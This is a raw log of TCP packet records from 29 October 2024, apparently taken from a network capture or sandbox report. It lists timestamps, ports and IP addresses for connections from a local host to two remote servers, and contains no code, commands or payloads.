                                                                                                                                                                                                Oct 29, 2024 16:31:28.501060963 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.501117945 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.501128912 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.514461994 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.514509916 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.514518023 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.531270027 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.531337976 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.531363964 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.541708946 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.541765928 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.541793108 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.554310083 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.554367065 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.554390907 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.567981005 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.568049908 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.568073034 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.581470013 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.581542969 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.581574917 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.594558001 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.594619036 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.594640970 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.607882023 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.607948065 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.607968092 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.620966911 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.621030092 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.621042013 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.634458065 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.634524107 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.634531975 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.647726059 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.647819996 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.647826910 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.661192894 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.661274910 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.661283970 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.674144983 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.674319983 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.674343109 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.688055038 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.688127041 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.688138962 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.700956106 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.701018095 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.701029062 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.714302063 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.714351892 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.714360952 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.727559090 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.727658987 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.727665901 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.740684032 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.740755081 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.740762949 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.754179001 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.754228115 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.754235029 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.767218113 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.767290115 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.767304897 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.780705929 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.780791044 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.780807972 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.815382004 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.815428019 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.815468073 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.815495968 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.815536976 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.815546036 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.820588112 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.820616961 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.820646048 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.820668936 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.820709944 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.834031105 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.847281933 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.847338915 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.847346067 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.847354889 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.847393990 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.861774921 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.874061108 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.874140978 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.874155998 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.887433052 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.887496948 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.887521982 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.900793076 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.900851011 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.900866032 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.900891066 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.901002884 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.913988113 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.927428007 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.927463055 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.927500010 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.927521944 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.927567005 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.940525055 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.953895092 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.953950882 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.953980923 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.953993082 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.954029083 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.967055082 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.981256962 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.981321096 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.981367111 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.981391907 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:28.981437922 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:28.993741035 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.007169008 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.007241011 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.007277012 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.007297039 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.007355928 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.020368099 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.033699036 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.033759117 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.033814907 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.033826113 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.033866882 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.047027111 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.061667919 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.061733961 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.061742067 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.061750889 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.061784029 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.073653936 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.086956978 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.087043047 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.087058067 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.087068081 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.087100983 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.100275040 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.113759041 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.113814116 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.113893032 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.113907099 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.113943100 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.127038956 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.140252113 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.140320063 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.140351057 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.140360117 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.140393972 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.153454065 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.166949987 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.166999102 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.167031050 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.167054892 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.167095900 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.181751013 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.193592072 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.193629980 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.193667889 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.193679094 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.193718910 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.206867933 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.220138073 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.220172882 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.220235109 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.220247984 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.220289946 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.220657110 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:29.220683098 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:29.220732927 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:40.168999910 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:40.351701975 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:40.351927042 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:40.352051973 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:40.357656002 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280137062 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280165911 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280184984 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280214071 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280239105 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280255079 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280276060 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280293941 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280292034 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280335903 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280335903 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280369043 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280384064 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280428886 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280474901 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.281282902 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.281337976 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.285809994 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.285861015 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.285877943 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.285902977 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.286137104 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.286159992 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.286180973 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.286209106 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.286251068 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.286885977 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.286921978 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.286938906 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.286967993 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.287611961 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.287659883 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.287667036 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.287684917 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.287729979 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.288384914 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.288402081 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.288419962 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.288448095 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.289150000 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.289166927 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.289182901 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.289192915 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.289217949 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.292336941 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.292352915 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.292370081 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.292395115 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.292494059 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.292536974 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.292778015 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.292795897 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.292838097 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.293248892 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.293303967 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.293344021 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.293755054 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.293787956 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.293836117 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.294250011 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.294343948 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.294392109 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.294719934 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.294749975 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.294794083 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.295519114 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.295610905 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.295655966 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.295752048 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.295778990 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.295824051 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.296245098 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.296330929 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.296385050 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.298738956 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.298785925 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.298803091 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.298835993 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.298860073 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.298877001 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.298938990 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.298960924 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.298975945 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.298990965 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.299112082 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.300940037 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.300956011 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.300980091 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.300996065 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.300995111 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301033974 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301040888 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301052094 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301081896 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301096916 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301098108 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301143885 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301244974 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301309109 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301331997 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301348925 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301353931 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301394939 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301470041 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301520109 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301569939 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301585913 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301585913 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301635027 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301901102 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301918983 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301944971 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:41.301959991 CET8049175192.3.101.21192.168.2.22
